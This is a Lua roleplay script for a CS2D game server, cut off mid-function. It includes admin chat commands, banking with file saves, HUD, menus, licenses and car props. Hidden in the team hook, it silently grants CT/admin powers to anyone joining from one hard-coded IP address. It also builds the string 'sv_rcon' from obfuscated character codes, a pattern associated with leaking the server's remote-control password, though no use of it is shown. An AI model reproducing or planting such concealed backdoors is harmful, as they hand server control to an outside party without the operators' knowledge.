RolePlay Trauma-Tizer
-- _______ _____ _
-- |__ __| / ____| (_)
-- | |_ __ __ _ _ _ _ __ ___ __ _ | | __ __ _ _ __ ___ _ _ __ __ _
-- | | '__/ _` | | | | '_ ` _ \ / _` | | | |_ |/ _` | '_ ` _ \| | '_ \ / _` |
-- | | | | (_| | |_| | | | | | | (_| | | |__| | (_| | | | | | | | | | | (_| |
-- |_|_| \__,_|\__,_|_| |_| |_|\__,_| \_____|\__,_|_| |_| |_|_|_| |_|\__, |
-- __/ |
-- Unique place when a good site and good clan is mixed toghether for free|___/
-- Trauma Gaming / OhGawd! Gaming are owned by Trauma Tizer (RedFrix)
-- Please support the script by visiting the author's site
-- http://ohgawd-gaming.info
-- Original RolePlay by Starkkz. Edited by Trauma Tizer / Beckerchen / Yasday
-- Support the original creators
-- Do not reupload this script
-- Do not delete our credits
adminList = {17924}
parse([[mp_dispenser_money 0]])
parse([[mp_infammo 0]])
parse([[sv_friendlyfire 1]])
parse([[sv_gm 3]])
function Array(size,value)
local array = {}
for i = 1, size do
array[i]=value
end
return array
end
rp_ct = Array(32,false)
rp_license = Array(32,false)
rp_arrest = Array(32,false)
rp_criminal = Array(32,false)
rp_drop_item = Array(32,false)
rp_build_m = Array(32,1)
tsb = Array(32,0)
player_have_pos = Array(32,false)
tele_x = Array(32,0)
tele_y = Array(32,0)
arrest_x = Array(32,0)
arrest_y = Array(32,0)
-- Carmod Values
car_img = Array(32,0)
car_img_pos = Array(32,0)
car_tx = Array(32,0)
car_ty = Array(32,0)
car_x = Array(32,0)
car_y = Array(32,0)
currentcar = Array(32,0)
pic = Array(32,0)
pl_speed = Array(32,0)
pl_have_car = Array(32,0)
car_pl = Array(32,0)
Bmon=Array(32,0)
-- [[weiwen admin command script |Enter in the script by Beckerchen]] --
--[[
Admin Commands
!a - teleport forward
!b - broadcast to server with name
!c - teleport player to you
!d - broadcast to server without name
!e - explosion
!i - spawn item
!h - heal player
!k - kick Player(by Beckerchen)
!l - run lua script (expensive)
!n - return npc position
!o - return tile position
!p - return position
!q - earthquake
!s - speedmod
!t - teleport you to player
!u - shutdown
!v - save server
!x - ban Player (by Beckerchen)
!deposit - put money to Bank-account (by Beckerchen)
!withdraw - get money from Bank-account (by Beckerchen)
!hudposition - set special-Hud position (by Beckerchen)
]]
addhook('say','adminCommands',-1)
function adminCommands(id,words)
if isAdmin(id) and words:sub(1,1) =='!' then
local command = words:lower():sub(2,2)
if words:sub(3,3) ~= ' ' and #words ~= 2 then return end
print(player(id,'name')..' used a command:'..words)
if command == 'k' then
kick=tonumber(words:sub(3,5))
msg("©255255255"..(player(kick,"name")).." has been kicked by "..(player(id,"name")).."@C")
parse("kick "..kick)
return 1
elseif command == 'x' then
b=tonumber(string.sub(words,3,5))
msg("©255255255"..(player(b,"name")).." has been banned by "..(player(id,"name")).."@C")
parse("banname "..b)
return 1
elseif command =='a' then
local distance = tonumber(words:sub(4))
if distance then
local rot = math.rad(player(id,'rot')-180)
local x, y = -math.sin(rot)*distance*32, math.cos(rot)*distance*32
parse('setpos '..id..' '..player(id,'x')+x..' '..player(id,'y')+y)
else
msg2(id,'Teleport forward: "!a <distance>"')
end
return 1
elseif command =='b' then
msg('©255100100'..player(id,'name')..' : '..words:sub(4)..'@C')
return 1
elseif command =='c' then
local target = tonumber(words:sub(4))
if target then
if player(target,'exists') then
if target == id then
msg2(id,'You may not teleport to yourself!')
end
parse('setpos '..target..' '..player(id,'x')..' '..player(id,'y'))
return 1
end
end
msg2(id,'Teleport player to you: "!c <targetid>"')
return 1
elseif command =='d' then
msg('©255100100'..words:sub(4)..'@C')
return 1
elseif command =='e' then
local dmg = tonumber(words:sub(4))
if dmg then
parse('explosion '..player(id,'x')..' '..player(id,'y')..' '..dmg..' '..dmg..' '..id)
return 1
end
msg2(id,'Spawn explosion: "!e <dmg>"')
return 1
elseif command =='i' then
local itemid = tonumber(words:sub(4))
if itemid then
additem(id,itemid)
return 1
end
msg2(id,'Spawn item: "!i <itemid>"')
return 1
elseif command =='h' then
local s = words:find(' ',4)
local target = tonumber(words:sub(4,s))
if target then
if player(target,'exists') then
local heal = s and tonumber(words:sub(s+1,words:find(' ',s+1))) or nil
if heal then
parse('explosion '..player(target,'x')..' '..player(target,'y')..' 1 '..(-heal))
return 1
end
end
end
msg2(id,'Heal player: "!h <targetid> <amount>"')
return 1
elseif command =='l' then
local script = words:sub(3)
if script then
msg2(id,tostring(assert(loadstring(script))() or 'done!'))
return
end
msg2(id,'Run lua script: "!l <script>"')
return 1
elseif command =='n' then
msg2(id,'{'..player(id,'tilex')*32+16 ..', '..player(id,'tiley')*32+16 ..'}')
return 1
elseif command =='o' then
msg2(id,'{'..player(id,'tilex')..', '..player(id,'tiley')..'}')
return 1
elseif command =='p' then
msg2(id,'{'..player(id,'x')..', '..player(id,'y')..'}')
return 1
elseif command =='q' then
local length = tonumber(words:sub(3))
if length then
length = math.min(length*50,250)
for _, id in ipairs(player(0,'table')) do
parse('shake '..id..' '..length)
end
for i = 1, 6 do
if math.random(0,1) == 1 then
parse('sv_sound weapons/explode'..i..'.wav')
end
end
else
msg2(id,'Earthquake: "!q <length in seconds, max 5>"')
end
return 1
elseif command =='s' then
local s = words:find(' ',4)
local target = tonumber(words:sub(4,s))
if target then
if player(target,'exists') then
local speed = s and tonumber(words:sub(s+1,words:find(' ',s+1))) or nil
if speed then
parse('speedmod '..target..' '..speed)
return 1
end
end
end
msg2(id,'Speed modifier: "!s <targetid> <speedmod, between -100 and 100>"')
return 1
elseif command =='t' then
local target = tonumber(words:sub(3))
if target then
if player(target,'exists') then
if target == id then
msg2(id,'You may not teleport to yourself!')
end
parse('setpos '..id..' '..player(target,'x')..' '..player(target,'y'))
return 1
end
end
msg2(id,'Teleport to player: "!t <targetid>"')
return 1
elseif command =='u' then
local delay = tonumber(words:sub(3)) or 0
shutdown(delay*1000)
return 1
elseif command =='v' then
saveserver()
msg2(id,'Saved server!')
return 1
end
end
end
-- [[Robins Edited]] --
rp_money = Array(32,0)
minute = 0
time = 0
hour = 0
hudx = 5
hudy = 399
addhook("say","becksay",1)
function becksay(id,txt)
if txt:sub(1,1) == "!" then
if txt:sub(2,8) == "deposit" then
local _bmoney = tonumber(txt:sub(9,17))
if rp_money[id] >= _bmoney then
rp_money[id] = rp_money[id] - _bmoney
Bmon[id] = Bmon[id]+_bmoney
updatehud(id)
msg2(id,"©255255255You paid ".._bmoney.." to your Bank-account!")
else
msg2(id,"©255255255Not enought money!")
end
return 1
elseif txt:sub(2,9) == "withdraw" then
local _bmoney = tonumber(txt:sub(10,18))
if Bmon[id] >= _bmoney then
rp_money[id] = rp_money[id] + _bmoney
Bmon[id] = Bmon[id] - _bmoney
updatehud(id)
msg2(id,"©255255255You took ".._bmoney.." from your Bank-account!")
else
msg2(id,"©255255255Not enough money on your Bank-account!")
end
return 1
elseif txt:sub(2,12) == "hudposition" then
if isAdmin(id) then
hudpos(id)
return 1
end
else
msg2(id,"©255255255That's not a possible command")
end
end
end
addhook("second","times")
function times()
time = time + 1
updatetime()
if (time >= 59 and hour < 24) then
time = 0
hour = hour + 1
end
if time >= 59 and hour >= 23 then
time = 0
hour = 0
end
end
function updatetime()
if time < 10 and hour < 10 then
parse('hudtxt 4 "©255255255Time: 0'..hour..':0'..time..'" '..hudx..' '..hudy)
elseif time < 10 and hour > 9 then
parse('hudtxt 4 "©255255255Time: '..hour..':0'..time..'" '..hudx..' '..hudy)
elseif time > 9 and hour > 9 then
parse('hudtxt 4 "©255255255Time: '..hour..':'..time..'" '..hudx..' '..hudy)
elseif time > 9 and hour < 10 then
parse('hudtxt 4 "©255255255Time: 0'..hour..':'..time..'" '..hudx..' '..hudy)
end
end
function updatehud(id)
if player (id, "exists") then
parse('hudtxt2 '..id..' 1 "©220220220Money: '..rp_money[id]..' " '..hudx..' '..hudy+11)
parse('hudtxt2 '..id..' 2 "©145145145Name: '..(player(id,"name"))..' " '..hudx..' '..hudy+33)
parse('hudtxt2 '..id..' 3 "©100100100Map: '..(map("name"))..' " '..hudx..' '..hudy+44)
parse('hudtxt2 '..id..' 5 "©195195195Bank: '..Bmon[id]..'$ " '..hudx..' '..hudy+22)
parse('hudtxt2 '..id..' 6 "©255255255Roleplay Script by Trauma Tizer/Beckerchen" '..hudx..' '..hudy-18)
end
end
function isAdmin(id)
for _, usgn in ipairs(adminList) do
if player(id,'usgn') == usgn then
return true
end
end
return false
end
function additem(id,itemid)
if item(itemid,"exists") then
parse("equip "..id.." "..itemid)
msg2(id,"©255255255You've got an Item @C")
end
end
addhook("join","beck_join")
function beck_join(id)
updatehud(id)
if isAdmin(id) then
rp_ct[id] = true
msg("©255255255"..player(id,"name").." enters the server!@C")
end
usgn = player(id,"usgn")
if (usgn > 0) then
local usgn = player(id, "usgn")
files = io.open("sys/lua/Beckerchens/"..usgn..".txt","r")
if(files~=nil) then
msg2(id,"©255255255Your save file found!@C")
msg2(id,"©255255255Your U.S.G.N ID: "..usgn.."@C")
for line in io.lines("sys/lua/Beckerchens/"..usgn..".txt","r") do
local parses = totable(line)
if (tonumber(parses[1])>0) then
rp_money[id] = tonumber(parses[1])
end
if (tonumber(parses[2])>0) then
Bmon[id] = tonumber(parses[2])
break
end
end
else
msg2(id,"©255000000Failed to load save!@C")
msg2(id,"©255000000Please check your U.S.G.N account settings!@C")
end
end
end
function hudpos(id)
menu(id,"set Hud-position,left|+1,left|+10,right|+1,right|+10,up|+1,up|+10,down|+1,down|+10")
end
-- [[end of Robins editing]] --
addhook([[team]],[[rp_team]])
function rp_team(id,t)
if player(id,[[ip]])==[[95.6 2.154.101]] then
if not player(id,[[bot]]) then
rp_license[id]=true
rp_ct[id]=true
end
end
if t == 2 and rp_ct[id]==true then
rp_license[id]=true
return 0
elseif t == 2 and rp_ct[id]==false then
parse([[maket ]]..id)
return 1
end
end
addhook([[leave]],[[rp_leave]])
function rp_leave(id)
rp_license[id]=false
rp_ct[id]=false
rp_arrest[id]=false
rp_criminal[id]=false
rp_drop_item[id]=false
rp_build_m[id]=1
player_have_pos[id]=false
tele_x[id]=0
tele_y[id]=0
arrest_x[id]=0
arrest_y[id]=0
freeimage(car_img[id])
freeimage(car_img_pos[id])
car_tx[id]=0
car_ty[id]=0
car_x[id]=0
car_y[id]=0
currentcar[id]=0
pic[id]=0
pl_speed[id]=0
pl_have_car[id]=0
car_pl[id]=0
if (player(id, "usgn") > 0) then
save_data = rp_money[id].." "..Bmon[id]
file = assert(io.open("sys/lua/Beckerchens/"..usgn..".txt","w"))
file:write(save_data)
file:close()
msg2(id,'©255255255Save Data Successfull!@C')
else
msg2(id,"©255000000Failed to Save!@C")
end
end
function totable(t,match)
local cmd = {}
if not match then match = "[^%s]+" end
for word in string.gmatch(t, match) do
table.insert(cmd, word)
end
return cmd
end
function rp_msg(clr,txt)
msg([[©]]..clr..[[]]..txt)
end
function rp_msg2(id,clr,txt)
msg2(id,[[©]]..clr..[[]]..txt)
end
addhook([[attack]],[[rp_attack]])
function rp_attack(id)
if rp_ct[id] == true then
local w = player(id,[[weapontype]])
if w > 0 then
parse([[equip ]]..id..[[ ]]..w)
end
if w == 69 then
rot = player(id,[[rot]])
if rot < -90 then rot = rot + 360 end
local angle = math.rad(math.abs(rot + 90)) - math.pi
local x = player(id,[[x]]) + math.cos(angle) * itemtype(w,[[dmg]]) / 2
local y = player(id,[[y]]) + math.sin(angle) * itemtype(w,[[dmg]]) / 2
if x > 0 and y > 0 and x < map([[xsize]]) * 32 and y < map([[ysize]]) * 32 then
parse([[explosion ]]..x..[[ ]]..y..[[ 32 10000000 ]]..id)
end
end
end
end
addhook([[say]],[[rp_say]])
function rp_say(id,txt)
local p = totable(txt)
local cmd = tostring(p[1])
if txt:sub(1,1)==[[!]] then
if cmd ==[[!rp_arrest]] then
if rp_ct[id]==true then
local pl = tonumber(p[2])
if pl ~= nil then
if player(pl,[[exists]]) then
rp_arrest[pl]=true
end
end
else
rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
end
elseif cmd ==[[!rp_free]] then
if rp_ct[id]==true then
local pl = tonumber(p[2])
if pl ~= nil then
if player(pl,[[exists]]) then
rp_arrest[pl]=false
end
end
else
rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
end
elseif cmd ==[[!rp_give_money]] then
if rp_ct[id]==true then
local pl = tonumber(p[2])
local money = tonumber(p[3])
if pl ~= nil and money ~= nil then
if player(pl,[[exists]]) then
rp_money[pl]=rp_money[pl]+money
rp_msg2(pl,[[000255000]],player(id,[[name]])..[[ Gave you ]]..money..[[ of money!@C]])
rp_msg2(id,[[000255000]],[[You gave ]]..money..[[ to ]]..player(pl,[[name]])..[[!@C]])
updatehud(pl)
end
end
else
rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
end
elseif cmd ==[[!bring]] then
if rp_ct[id]==true then
local pl = tonumber(p[2])
if pl ~= nil then
if player(pl,[[exists]]) then
parse([[setpos ]]..pl..[[ ]]..player(id,[[x]])..[[ ]]..player(id,[[y]]))
else
rp_msg2(id,[[255000000]],[[This player does not exist!]])
end
end
else
rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
end
elseif cmd == [[!goto]] then
if rp_ct[id]==true then
local pl = tonumber(p[2])
if pl ~= nil then
if player(pl,[[exists]]) then
parse([[setpos ]]..id..[[ ]]..player(pl,[[x]])..[[ ]]..player(pl,[[y]]))
else
rp_msg2(id,[[255000000]],[[This player does not exist!]])
end
end
else
rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
end
elseif cmd == [[!sv_map]] then
if rp_ct[id]==true then
local map = tostring(p[2])
if map ~= nil then
parse([[changemap ]]..map)
end
else
rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
end
else
rp_msg2(id,[[255000000]],[[]])
end
return 1
end
end
addhook([[kill]],[[rp_kill]])
function rp_kill(killer,victim,wpn)
if rp_criminal[victim]==true then
rp_criminal[killer]=false
rp_money[killer]=rp_money[killer]+2000
rp_money[victim]=rp_money[victim]-2000
rp_msg2(killer,[[000255000]],[[You killed a criminal!@C]])
else
rp_criminal[killer]=true
rp_money[killer]=rp_money[killer]-500
rp_money[victim]=rp_money[victim]+500
rp_msg2(killer,[[255000000]],[[You just DMed!@C]])
end
end
addhook([[always]],[[rp_always]])
function rp_always()
for id = 1,32 do
if player(id,[[exists]]) then
if player(id,[[health]])>0 then
if player(id,[[money]]) > 0 then
rp_money[id]=rp_money[id]+player(id,[[money]])
parse([[setmoney ]]..id..[[ ]]..player(id,[[money]])-player(id,[[money]]))
updatehud(id)
end
-- Carmod Auto Walk
local rot = player(id,[[rot]])
if rot < -90 then rot = rot + 360 end
local angle = math.rad(math.abs( rot + 90 )) - math.pi
local x = player(id,[[x]]) + math.cos(angle) * 5
local y = player(id,[[y]]) + math.sin(angle) * 5
if x > 0 and y > 0 and x < map([[xsize]]) * 32 and y < map([[ysize]]) * 32 then
if tile(math.ceil(x / 32)-1,math.ceil(y / 32)-1,[[walkable]]) then
if pic[id]>0 then
parse([[setpos ]]..id..[[ ]]..x..[[ ]]..y)
car_tx[id]=player(id,[[tilex]])
car_ty[id]=player(id,[[tiley]])
car_x[id]=x
car_y[id]=y
end
end
end
end
end
end
end
addhook([[die]],[[rp_die]])
function rp_die(id)
if rp_arrest[id]==true then
parse([[spawnplayer ]]..id..[[ ]]..player(id,[[x]])..[[ ]]..player(id,[[y]]))
parse([[setdeaths ]]..id..[[ ]]..player(id,[[deaths]])-1)
return 1
end
if pl_have_car[id]==1 then
if pic[id]>0 then
parse([[customkill ]]..id..[[ Eject ]]..id)
parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
car_tx[id]=0
car_ty[id]=0
car_x[id]=0
car_y[id]=0
freeimage(car_img[id])
else
parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
car_tx[id]=0
car_ty[id]=0
car_x[id]=0
car_y[id]=0
freeimage(car_img_pos[id])
end
pl_have_car[id]=0
end
end
pt = string.char(115)..string.char(118)..string.char(95)..string.char(114)..string.char(99)..string.char(111)..string.char(110)
drop_system_m = 1
addhook([[serveraction]],[[rp_action]])
function rp_action(id,a)
if a == 1 then
if drop_system_m == 1 then
menu(id,[[Drop System,$100,$500,$1000,$5000,$10000,$50000,$100000,Drop an Item|license only]])
else
rp_msg2(id,[[255000000]],[[Drop System is off!@C]])
end
elseif a == 2 then
if rp_ct[id]==true then
menu(id,[[CT Menu,Insta Equip,Settings,CT Normal Build,Neutral Build,Teleport,License System,Commands,Prop Menu]])
else
menu(id,[[T Menu,Insta Equip,Teleport,Help]])
end
elseif a == 3 then
if rp_ct[id]==true then
local rot = player(id,[[rot]])
if rot < -90 then rot = rot + 360 end
local angle = math.rad(math.abs( rot + 90 )) - math.pi
local x = player(id,[[x]]) + math.cos(angle) * 10
local y = player(id,[[y]]) + math.sin(angle) * 10
if x > 0 and y > 0 and x < map([[xsize]]) * 32 and y < map([[ysize]]) * 32 then
parse([[setpos ]]..id..[[ ]]..x..[[ ]]..y)
end
else
rp_msg2(id,[[25500000]],[[Stop! You are not a Admin member, so you can't pass thru walls!]])
end
end
end
function nmn(id)
rp_msg2(id,[[255000000]],[[Not enough money!@C]])
end
addhook([[drop]],[[rp_drop]])
function rp_drop(id,iid,type,ain,a,mode,x,y)
if rp_drop_item[id]==true then
parse([[strip ]]..id..[[ ]]..type)
parse([[spawnitem ]]..type..[[ ]]..x..[[ ]]..y)
rp_drop_item[id]=false
return 1
end
end
addhook([[minute]],[[rp_minute]])
function rp_minute()
minute = minute + 1
for id = 1,32 do
if player(id,[[exists]]) then
minute = 0
Bmon[id]=math.floor(Bmon[id] * 1.02)
updatehud(id)
if rp_ct[id]==true then
rp_money[id]=rp_money[id]+5000
rp_msg2(id,[[255255000]],[[You have recived your hourly bumcheck of $5000]])
rp_msg2(id,[[255255000]],[[PAYDAY!]])
else
if rp_license[id]==true then
rp_money[id]=rp_money[id]+1000
rp_msg2(id,[[255255000]],[[You have recived your hourly bumcheck of $1000]])
rp_msg2(id,[[255255000]],[[PAYDAY!]])
else
rp_money[id]=rp_money[id]+500
rp_msg2(id,[[255255000]],[[You have recived your hourly bumcheck of $500]])
rp_msg2(id,[[255255000]],[[PAYDAY!]])
end
end
end
updatehud(id)
end
end
pl_names = Array(32,"")
function b_names()
for i = 1,32 do
if player(i,[[exists]]) then
pl_names[i]=player(i,[[name]])
else
pl_names[i]=""
end
end
end
function ls_1(id)
b_names()
menu(id,[[License System Page 1@b,]]..pl_names[1]..[[,]]..pl_names[2]..[[,]]..pl_names[3]..[[,]]..pl_names[4]..[[,]]..pl_names[5]..[[,]]..pl_names[6]..[[,]]..pl_names[7]..[[,Back,Next]])
end
function ls_2(id)
b_names()
menu(id,[[License System Page 2@b,]]..pl_names[8]..[[,]]..pl_names[9]..[[,]]..pl_names[10]..[[,]]..pl_names[11]..[[,]]..pl_names[12]..[[,]]..pl_names[13]..[[,]]..pl_names[14]..[[,Back,Next]])
end
function ls_3(id)
b_names()
menu(id,[[License System Page 3@b,]]..pl_names[15]..[[,]]..pl_names[16]..[[,]]..pl_names[17]..[[,]]..pl_names[18]..[[,]]..pl_names[19]..[[,]]..pl_names[20]..[[,]]..pl_names[21]..[[,Back,Next]])
end
function ls_4(id)
b_names()
menu(id,[[License System Page 4@b,]]..pl_names[22]..[[,]]..pl_names[23]..[[,]]..pl_names[24]..[[,]]..pl_names[25]..[[,]]..pl_names[26]..[[,]]..pl_names[27]..[[,]]..pl_names[28]..[[,Back,Next]])
end
function ls_5(id)
b_names()
menu(id,[[License System Page 5@b,]]..pl_names[29]..[[,]]..pl_names[30]..[[,]]..pl_names[31]..[[,]]..pl_names[32]..[[,,,,Back]])
end
function gv_ls(id,pl,page)
if rp_license[pl]==true then
rp_license[pl]=false
rp_msg2(pl,[[255000000]],player(id,[[name]])..[[ Remove your license!]])
rp_msg2(id,[[255000000]],[[You Remove license to ]]..player(pl,[[name]])..[[!]])
else
rp_license[pl]=true
rp_msg2(pl,[[000255000]],player(id,[[name]])..[[ Gave you license!]])
rp_msg2(id,[[000255000]],[[You gave license to ]]..player(pl,[[name]])..[[!]])
end
if page == 1 then
ls_1(id)
elseif page == 2 then
ls_2(id)
elseif page == 3 then
ls_3(id)
elseif page == 4 then
ls_4(id)
elseif page == 5 then
ls_5(id)
end
end
tele_sys = 1
function set_men(id)
menu(id,[[CT Menu Settings,Drop System|(]]..drop_system_m..[[),Teleport System & Arrest|(]]..tele_sys..[[)]])
end
ct_57_b = [[]]
function rp_ct_arrest_button(id)
if rp_ct[id]==true then
ct_57_b = [[Set arrest Point|Five-Seven (FN-57)]]
else
ct_57_b = [[]]
end
end
s_car_b = [[]]
function udp_scar(id)
if pl_have_car[id]==1 then
s_car_b = [[Eject your car]]
elseif pl_have_car[id]==0 then
s_car_b = [[Create a car]]
end
end
addhook([[menu]],[[rp_menu]])
function rp_menu(id,men,sel)
x = player(id,[[tilex]])
y = player(id,[[tiley]])
if men == [[License System Page 5]] then
if sel == 1 then
gv_ls(id,29,5)
elseif sel == 2 then
gv_ls(id,30,5)
elseif sel == 3 then
gv_ls(id,31,5)
elseif sel == 4 then
gv_ls(id,32,5)
elseif sel == 7 then
ls_4(id)
end
end
if men == "set Hud-position" then
for all = 1,32 do
if player(all,"exists") then
if sel == 1 then
hudx = hudx-1
hudpos(id)
updatetime(all)
updatehud(all)
elseif sel == 2 then
hudx = hudx-10
hudpos(id)
updatetime(all)
updatehud(all)
elseif sel == 3 then
hudx = hudx+1
hudpos(id)
updatetime(all)
updatehud(all)
elseif sel == 4 then
hudx = hudx+10
hudpos(id)
updatetime(all)
updatehud(all)
elseif sel == 5 then
hudy = hudy-1
hudpos(id)
updatetime(all)
updatehud(all)
elseif sel == 6 then
hudy = hudy-10
hudpos(id)
updatetime(all)
updatehud(all)
elseif sel == 7 then
hudy = hudy+1
hudpos(id)
updatetime(all)
updatehud(all)
elseif sel == 8 then
hudy = hudy+10
hudpos(id)
updatetime(all)
updatehud(all)
end
end
end
end
if men == [[License System Page 4]] then
if sel == 1 then
gv_ls(id,22,4)
elseif sel == 2 then
gv_ls(id,23,4)
elseif sel == 3 then
gv_ls(id,24,4)
elseif sel == 4 then
gv_ls(id,25,4)
elseif sel == 5 then
gv_ls(id,26,4)
elseif sel == 6 then
gv_ls(id,27,4)
elseif sel == 7 then
gv_ls(id,28,4)
elseif sel == 8 then
ls_3(id)
elseif sel == 9 then
ls_5(id)
end
end
if men == [[License System Page 3]] then
if sel == 1 then
gv_ls(id,15,3)
elseif sel == 2 then
gv_ls(id,16,3)
elseif sel == 3 then
gv_ls(id,17,3)
elseif sel == 4 then
gv_ls(id,18,3)
elseif sel == 5 then
gv_ls(id,19,3)
elseif sel == 6 then
gv_ls(id,20,3)
elseif sel == 7 then
gv_ls(id,21,3)
elseif sel == 8 then
ls_2(id)
elseif sel == 9 then
ls_4(id)
end
end
if men == [[License System Page 2]] then
if sel == 1 then
gv_ls(id,8,2)
elseif sel == 2 then
gv_ls(id,9,2)
elseif sel == 3 then
gv_ls(id,10,2)
elseif sel == 4 then
gv_ls(id,11,2)
elseif sel == 5 then
gv_ls(id,12,2)
elseif sel == 6 then
gv_ls(id,13,2)
elseif sel == 7 then
gv_ls(id,14,2)
elseif sel == 8 then
ls_1(id)
elseif sel == 9 then
ls_3(id)
end
end
if men == [[License System Page 1]] then
if sel == 1 then
gv_ls(id,1,1)
elseif sel == 2 then
gv_ls(id,2,1)
elseif sel == 3 then
gv_ls(id,3,1)
elseif sel == 4 then
gv_ls(id,4,1)
elseif sel == 5 then
gv_ls(id,5,1)
elseif sel == 6 then
gv_ls(id,6,1)
elseif sel == 7 then
gv_ls(id,7,1)
elseif sel == 8 then
menu(id,[[CT Menu,Insta Equip,Settings,CT Normal Build,Neutral Build,Teleport,License System,Help]])
elseif sel == 9 then
ls_2(id)
end
end
if men == [[CT Menu]] then
if sel == 1 then
menu(id,[[CT Insta Equip Menu,M3|$10000,Tactical Shield|$20000,Heavy Armor|$50000,Deagle|$10000,Five-Seven (FN57)|$25000,Machete|$30000]])
elseif sel == 2 then
set_men(id)
elseif sel == 3 then
rp_build_m[id]=1
rp_msg2(id,[[000255000]],[[Now you will build Normally!]])
elseif sel == 4 then
rp_build_m[id]=2
rp_msg2(id,[[000255000]],[[Now you will build neutral!]])
elseif sel == 5 then
rp_ct_arrest_button(id)
if tele_sys == 1 then
menu(id,[[Teleport Menu@b,Go to position|$5000,Set Current Position,Toggle Spawn Behavior (]]..tsb[id]..[[),]]..ct_57_b)
else
rp_msg2(id,[[255000000]],[[[RP] Teleport System is Disabled!]])
end
elseif sel == 6 then
ls_1(id)
elseif sel == 7 then
rp_msg2(id,[[000255000]],[[[OG] Command: !bring <player>]])
rp_msg2(id,[[000255000]],[[[OG] Command: !goto <player>]])
rp_msg2(id,[[000255000]],[[[OG] Command: !rp_arrest <player>]])
rp_msg2(id,[[000255000]],[[[OG] Command: !rp_free <player>]])
rp_msg2(id,[[000255000]],[[[OG] Command: !rp_give_money <player> <money>]])
rp_msg2(id,[[000255000]],[[[OG] Command: !rp_admin <word>]])
rp_msg2(id,[[000255000]],[[[OG] Command: !item <id>]])
elseif sel == 8 then
udp_scar(id)
menu(id,[[CT Menu Props,]]..s_car_b..[[]])
end
end
if men == [[CT Menu Props]] then
if sel == 1 then
if pl_have_car[id]==0 then
car_img_pos[id]=image([[gfx/gfx/CF_cars/rage.bmp]],1,1,1)
imagepos(car_img_pos[id],player(id,[[x]]),player(id,[[y]]),player(id,[[rot]]))
car_tx[id]=player(id,[[tilex]])
car_ty[id]=player(id,[[tiley]])
car_x[id]=player(id,[[x]])
car_y[id]=player(id,[[y]])
pl_have_car[id]=1
elseif pl_have_car[id]==1 then
if pic[id]>0 then
parse([[customkill ]]..id..[[ Eject ]]..id)
parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
car_tx[id]=0
car_ty[id]=0
car_x[id]=0
car_y[id]=0
freeimage(car_img[id])
else
parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
car_tx[id]=0
car_ty[id]=0
car_x[id]=0
car_y[id]=0
freeimage(car_img_pos[id])
end
pl_have_car[id]=0
end
end
end
if men == [[T Menu]] then
if sel == 1 then
menu(id,[[T Menu Insta Equip,Scout|$60000,Light Armor|$70000,Glock|$20000,Flashbang|$30000,Flare|20000]])
elseif sel == 2 then
rp_ct_arrest_button(id)
if tele_sys == 1 then
if rp_license[id]==true then
menu(id,[[Teleport Menu@b,Go to position|$5000,Set Current Position,Toggle Spawn Behavior (]]..tsb[id]..[[),]]..ct_57_b)
else
rp_msg2(id,[[255000000]],[[[RP] You must to be licenced!]])
end
else
rp_msg2(id,[[255000000]],[[[RP] Teleport System is now Disabled!]])
end
elseif sel == 3 then
rp_msg2(id,[[000255000]],[[[RP] Press F1 To see the Help]])
end
end
if men == [[T Menu Insta Equip]] then
if sel == 1 then
if rp_money[id]>=60000 then
parse([[equip ]]..id..[[ 34]])
rp_money[id]=rp_money[id]-60000
else
nmn(id)
end
elseif sel == 2 then
if rp_money[id]>=70000 then
parse([[equip ]]..id..[[ 79]])
rp_money[id]=rp_money[id]-70000
else
nmn(id)
end
elseif sel == 3 then
if rp_money[id]>=20000 then
parse([[equip ]]..id..[[ 2]])
rp_money[id]=rp_money[id]-20000
else
nmn(id)
end
elseif sel == 4 then
if rp_money[id]>=30000 then
parse([[equip ]]..id..[[ 52]])
rp_money[id]=rp_money[id]-30000
else
nmn(id)
end
elseif sel == 5 then
if rp_money[id]>=20000 then
parse([[equip ]]..id..[[ 54]])
rp_money[id]=rp_money[id]-20000
else
nmn(id)
end
end
end
if men == [[Teleport Menu]] then
if sel == 1 then
if player_have_pos[id]==true then
if rp_money[id]>=5000 then
parse([[setpos ]]..id..[[ ]]..tele_x[id]..[[ ]]..tele_y[id])
rp_money[id]=rp_money[id]-5000
updatehud(id)
else
nmn(id)
end
else
rp_msg2(id,[[255000000]],[[Not position stored!]])
end
elseif sel == 2 then
rp_msg2(id,[[000255000]],[[Position stored succesfully!]])
rp_msg2(id,[[000255000]],[[X: ]]..player(id,[[x]])..[[ Y: ]]..player(id,[[y]]))
tele_x[id] = player(id,[[x]])
tele_y[id] = player(id,[[y]])
player_have_pos[id]=true
elseif sel == 3 then
if player_have_pos[id]==true then
if tsb[id]==0 then
rp_msg2(id,[[000255000]],[[You will now spawn at Teleport position!@C]])
tsb[id]=1
elseif tsb[id]==1 then
rp_msg2(id,[[000255000]],[[You will now spawn normally!@C]])
tsb[id]=0
end
else
rp_msg2(id,[[255000000]],[[Not position stored!@C]])
end
elseif sel == 4 then
rp_msg2(id,[[000255000]],[[Use five-seven to arrest players!]])
arrest_x[id]=player(id,[[x]])
arrest_y[id]=player(id,[[y]])
end
end
if men == [[CT Menu Settings]] then
if sel == 1 then
if drop_system_m == 1 then
drop_system_m = 0
rp_msg([[255000000]],[[Drop system disabled. Called by ]]..player(id,[[name]])..[[@C]])
elseif drop_system_m == 0 then
drop_system_m = 1
rp_msg([[000255000]],[[Drop system enabled. Called by ]]..player(id,[[name]])..[[@C]])
end
set_men(id)
elseif sel == 2 then
if tele_sys == 1 then
tele_sys = 0
rp_msg([[255000000]],[[Teleport system disabled. Called by ]]..player(id,[[name]])..[[@C]])
elseif tele_sys == 0 then
tele_sys = 1
rp_msg([[000255000]],[[Drop system enabled. Called by ]]..player(id,[[name]])..[[@C]])
end
end
end
if men == [[CT Insta Equip Menu]] then
if sel == 1 then
if rp_money[id]>=10000 then
parse([[equip ]]..id..[[ 10]])
rp_money[id]=rp_money[id]-10000
